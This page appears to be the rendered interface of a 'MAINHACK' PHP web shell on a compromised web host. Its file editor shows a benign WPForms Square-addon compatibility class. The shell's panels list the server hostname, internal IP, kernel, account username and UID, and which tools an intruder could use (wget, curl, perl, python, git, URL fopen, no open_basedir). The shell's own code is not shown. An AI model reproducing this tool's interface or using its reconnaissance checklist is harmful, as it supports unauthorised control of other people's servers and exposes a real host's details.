[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: AddonCompatibility.php
<?php namespace WPForms\Integrations\Square; /** * Compatibility with the Square addon. * * @since 1.9.5 */ class AddonCompatibility { /** * Minimum compatible version of the Square addon. * * @since 1.9.5 * * @var string */ private const MIN_COMPAT_VERSION = '2.0.0'; /** * Initialization. * * @since 1.9.5 * * @return AddonCompatibility|null */ public function init() { return Helpers::is_pro() ? $this : null; } /** * Register hooks. * * @since 1.9.5 */ public function hooks() { // Warn the user about the fact that the not supported addon has been installed. add_action( 'admin_notices', [ $this, 'display_legacy_addon_notice' ] ); } /** * Check if the supported Square addon is active. * * @since 1.9.5 * * @return bool */ public function is_supported_version(): bool { return defined( 'WPFORMS_SQUARE_VERSION' ) && version_compare( WPFORMS_SQUARE_VERSION, self::MIN_COMPAT_VERSION, '>=' ); } /** * Display wp-admin notification saying user first have to update addon to the latest version. * * @since 1.9.5 */ public function display_legacy_addon_notice() { echo '<div class="notice notice-error"><p>'; esc_html_e( 'The WPForms Square addon is out of date. To avoid payment processing issues, please upgrade the Square addon to the latest version.', 'wpforms-lite' ); echo '</p></div>'; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm021.cluster127.gra.hosting.ovh.net
Server IP: 10.127.20.21
PHP Version: 8.4.22
Server Software: Apache
System: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: vcomplcotr
User ID (UID): 38697
Group ID (GID): 100
Script Owner UID: 38697
Current Dir Owner: 38697